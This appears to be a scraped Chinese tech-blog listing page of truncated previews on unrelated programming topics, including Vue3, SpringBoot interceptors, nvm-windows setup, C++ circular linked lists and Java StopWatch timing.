A题&#xff1a;资源可用性和性别比例 一、问题分析 1.1 问题一分析 针对该问题&#xff0c;若七鳃鮼的性别比例受到外部环境因素的影响&#xff0c;那么这可能会导致种群大小和结构的变化。如果雌性在某些环境条件下更为优势&#xff0c;种群的增加可能对其他物种的竞争和资源…

【Python】一个简单的小案例:实现批量修改图片格式

1.代码 import os from tkinter import Tk, Button from PIL import Imagedef check_and_create_folders():# 获取当前目录current_directory os.getcwd()# 定义文件夹名称folders_to_check ["JPG", "PNG"]for folder_name in folders_to_check:folder_…

nvm-windows的安装和配置

下载安装nvm-setup.zip用于切换node版本&#xff0c;旧项目用的是14版本&#xff0c;vue3需要的node版本要高些,所以运行vue3项目前需要用nvm切换node的版本先。 下载安装好nvm-setup.zip后检查是否配置好如下信息&#xff1a; 之后在 PATH 变量中添加 %NVM_HOME% 和 %NVM_SYM…

2024年美赛 (B题MCM)| 潜水艇 |数学建模完整代码+建模过程全解全析

当大家面临着复杂的数学建模问题时&#xff0c;你是否曾经感到茫然无措&#xff1f;作为2022年美国大学生数学建模比赛的O奖得主&#xff0c;我为大家提供了一套优秀的解题思路&#xff0c;让你轻松应对各种难题。 让我们来看看美赛的B题&#xff01; 完整内容可以在文章末尾领…

找不到d3dcompiler_43.dll,无法继续执行代码的原因分析与解决方法

在运行某些软件或游戏时&#xff0c;可能会遇到系统提示找不到 d3dcompiler_43.dll 文件的情况。这个特定的动态链接库文件 (dll) 是 DirectX 3D 编译器组件的一部分&#xff0c;对于许多现代软件游戏的正常运行起着不可或缺的作用。它的主要功能在于将高级着色语言编写的代码转…

vite, vue3, vue-router, vuex, ES6学习日记

学习使用vitevue3的所遇问题总结&#xff08;2024年2月1日&#xff09; 组件中使用<script>标签忘记加 setup 这会导致Navbar 没有暴露出来&#xff0c;导致使用不了&#xff0c;出现以下报错 这是因为&#xff0c;如果不用setup&#xff0c;就得使用 export default…

SpringBoot统一功能处理,拦截器,统一数据格式,捕捉异常

目录 拦截器:是Spring框架提供的核心功能之一&#xff0c;主要用来拦截用户的请求&#xff0c;在指定方法前后&#xff0c;根据业务需要执行预先设定的代码: 自定义拦截器 统一数据格式&#xff0c;要包含状态码&#xff0c;错误信息​编辑 出现针对String类型的错误​​​…

ssl数字证书是什么

SSL证书是一种数字证书&#xff0c;用于在网络传输中提供加密和身份验证功能&#xff0c;从而保护数据的安全性和完整性。正规的SSL证书大多是由由权威的证书颁发机构&#xff08;CA&#xff09;颁发的&#xff0c;例如Certum、Digicert、Sectigo等&#xff0c;它们颁发的SSL数…

C盘文件详解

C盘是指电脑硬盘主分区之一&#xff0c;一般用于储存或安装系统使用。大部分C盘内文件主要由Windows、Program Files等系统文件夹组成。文件夹作用&#xff1a;文件夹是用来组织和管理磁盘文件的一种数据结构。 $WinREAgent文件夹&#xff0c;是在系统更新或升级过程中创建的文…

腾讯主导制定全球首个车载小程序国际标准,助力车载应用生态发展

2024年1月&#xff0c;国际电信联盟标准部门&#xff08;ITU-T&#xff09;正式发布了由腾讯主导制定的《F.749.8 In-vehicle multimedia applets: Framework and functional requirements》(车载多媒体小程序框架和技术需求)国际标准。 这是全球首个由中国企业主导制定的车载小…

element-ui icon 组件源码分享

今日简单分享 element-ui 源码中的 icon 组件&#xff0c;主要从以下两个方面来分享&#xff1a; 一、源码中 icon 设计思想是什么呢&#xff1f;主要从页面结构、数据、 icon 样式三个方面来分享。 1.1 源码中 icon 组件的页面结构&#xff0c;可以在 package 目录下找到 ico…

【ADI 知识库】X 波段相控阵开发平台 硬件 2

ADAR1000EVAL1Z (Stingray) ADAR1000-EVAL1Z评估板是一款模拟波束成形前端&#xff0c;设计用于测试ADAR1000和ADTR1107的性能。ADAR1000 是一款 8 GHz 至 16 GHz、4 通道、X 波段和 Ku 波段波束成形器 IC。ADTR1107是 6 GHz 至 18 GHz 前端发送/接收模块。 ADAR1000-EVAL1Z板…

React + react-device-detect 实现设备特定的渲染

当构建响应式网页应用时&#xff0c;了解用户正在使用的设备类型&#xff08;如手机、平板或桌面&#xff09;可以帮助我们提供更优化的用户体验。本文将介绍如何在 React 项目中使用 react-device-detect 库来检测设备类型&#xff0c;并根据不同的设备显示不同的组件或样式。…

Python开源项目周排行 2024年第3周

ython 趋势周报&#xff0c;按周浏览往期 GitHub,Gitee 等最热门的Python开源项目&#xff0c;入选的项目主要参考GitHub Trending,部分参考了Gitee和其他。排名不分先后&#xff0c;都是当周相对热门的项目。 入选公式&#xff1d;70%GitHub Trending20%Gitee10%其他 关注微…

vtkNIFTIImageReader读写方位以及原点信息

使用vtkNIFTIImageReader读取体数据为vtkImageData时只会携带spacing信息&#xff0c;方向和原点信息不会写入&#xff0c;需要获取QFormMatrix进行解析。 1、方向及原点读取 vtkSmartPointer<vtkNIFTIImageReader> niiReader vtkSmartPointer<vtkNIFTIImageReader&…

C# winform 多语言(json)方式实现

前后对比 使用nuget json工具包1.总体思路 创建对应的json字典对照表 { "测试":"Test", "语言":"Language", "设置":"Set", "中文(默认)":"Chinese (default)", "英文":"E…

el-button按钮点击不起作用,被遮盖

1.图示 2.解决 原因&#xff1a;按钮被tabs遮盖 解决&#xff1a;先relative再absolute即可&#xff0c;如下

C++开发基础之循环链表详解含示例

1. 引言 循环链表的概念和特点 循环链表是一种链表的变体&#xff0c;它与普通链表最大的不同是&#xff1a;在循环链表中&#xff0c;最后一个节点的指针不是NULL&#xff0c;而是指向头节点&#xff0c;形成了一个环。这种特殊结构使得循环链表中的数据可以像环一样循环访问…

【日常聊聊】开源软件影响力

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 方向一&#xff1a;开源软件如何推动技术创新 方向二&#xff1a;开源软件的商业模式 方向三&#xff1a;开源软件的安全风险 方…

Java中使用StopWatch实现代码块耗时统计/计时某段代码执行

场景 Java实战-基于JDK的LRU算法实现、优雅的实现代码耗时统计(Spring AOP、AutoCloseable方式)&#xff1a; Java实战-基于JDK的LRU算法实现、优雅的实现代码耗时统计(Spring AOP、AutoCloseable方式)_lru 算法 jdk-CSDN博客 上面讲了统计方法的耗时&#xff0c;实现和使用…